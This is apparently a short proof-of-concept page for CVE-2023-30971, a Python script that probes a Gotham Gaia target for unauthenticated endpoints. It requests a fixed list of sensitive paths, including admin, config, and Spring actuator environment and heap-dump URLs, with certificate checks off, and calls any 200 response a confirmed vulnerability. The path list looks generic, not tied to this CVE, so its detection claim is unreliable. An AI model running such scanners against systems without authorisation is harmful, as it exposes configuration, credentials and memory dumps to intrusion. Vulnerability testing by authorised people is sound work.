CVE-2023-30971 Gotham Gaia 应用未授权访问漏洞

import requests import sys # CVE-2023-30971 - Gotham Gaia Unauthenticated Endpoints PoC # Target: Gotham Gaia application with exposed unauthenticated endpoints def check_vulnerability(target_url): """ Check if the target Gotham Gaia instance has unauthenticated endpoints exposed """ results = [] # Common endpoints that might be exposed endpoints = [ "/api/v1/users", "/api/v1/config", "/api/v1/admin", "/api/v1/data", "/api/v1/system", "/api/v1/health", "/api/v1/metrics", "/api/v1/status", "/swagger-ui.html", "/actuator/env", "/actuator/configprops", "/actuator/heapdump" ] for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: results.append({ "endpoint": endpoint, "status": "EXPOSED", "status_code": 200, "content_length": len(response.content) }) print(f"[+] Exposed endpoint found: {endpoint}") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected endpoint: {endpoint}") else: print(f"[*] Endpoint {endpoint} returned: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {str(e)}") return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2023-30971.py <target_url>") print("Example: python cve-2023-30971.py https://gotham-gaia.example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2023-30971...") print("=" * 50) exposed = check_vulnerability(target) print("=" * 50) if exposed: print(f"[!] Found {len(exposed)} exposed endpoints - vulnerability confirmed") else: print("[+] No exposed endpoints found - target may not be vulnerable")